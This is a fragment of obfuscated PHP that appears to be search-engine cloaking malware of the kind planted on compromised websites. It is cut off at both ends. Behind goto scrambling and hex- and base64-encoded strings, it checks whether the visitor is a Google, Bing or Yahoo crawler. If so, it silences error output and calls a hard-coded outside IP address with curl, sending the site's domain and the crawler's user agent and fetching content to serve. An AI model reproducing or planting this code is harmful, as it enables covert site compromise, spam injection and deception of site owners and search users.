tbotbotbot = "\x2e\56\56" . $_SERVER["\x48\124\x54\x50\137\125\123\x45\122\x5f\x41\107\x45\x4e\x54"]; goto c5MR6; c5MR6: $botbotbotbot = str_replace("\40", "\55", $botbotbotbot); goto BdrbW; AUksH: error_reporting(0); goto gJ4nV; BdrbW: if (strpos($botbotbotbot, "\x6f\x6f\147\x6c\x65") or strpos($botbotbotbot, "\151\156\147") or strpos($botbotbotbot, "\x61\x68\x6f\157")) { $xxx = base64_decode("\x4e\x51\75\x3d"); $xxx1 = base64_decode("\116\152\x45\75"); $xxx2 = base64_decode("\116\x54\x67\75"); $xxx3 = base64_decode("\x4d\x54\125\75"); $xxx4 = base64_decode("\141\127\65\167\144\130\121\x3d"); $xxx0 = base64_decode("\x61\110\122\x30\143\104\157\x76\114\x77\75\75"); $xxx00 = $xxx . "\56" . $xxx1 . "\56" . $xxx2 . "\x2e" . $xxx3; $xxx11 = $xxx4 . "\x2f\x3f\x75\163\x65\162\141\147\x65\x6e\x74\x3d" . $botbotbotbot . "\46\144\x6f\x6d\141\151\156\75" . $_SERVER["\110\x54\x54\x50\137\110\x4f\x53\124"]; $url = $xxx0 . $xxx00 . "\57" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close(